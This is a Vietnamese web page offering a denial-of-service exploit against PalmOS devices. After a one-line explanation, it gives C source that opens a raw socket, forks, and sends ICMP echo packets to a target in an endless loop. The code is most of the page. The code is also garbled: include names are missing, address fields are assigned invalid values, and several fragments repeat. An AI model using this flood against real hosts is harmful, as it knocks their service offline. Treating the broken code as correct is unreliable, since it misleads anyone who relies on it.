Dos Palmos Icmp
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DoS PalmOS ICMP trang này đã được đọc
lần
Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s). #include <stdio.h> #include <stdlib.h> #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[2000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("127.0"); ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_ECHO; icmp->code = 0; printf("Ping flooding %s!\n", argv[1]); fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); }
lần
Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s). #include <stdio.h> #include <stdlib.h> #include
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_ECHO; icmp->code = 0; printf("Ping flooding %s!\n", argv[1]); fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); }
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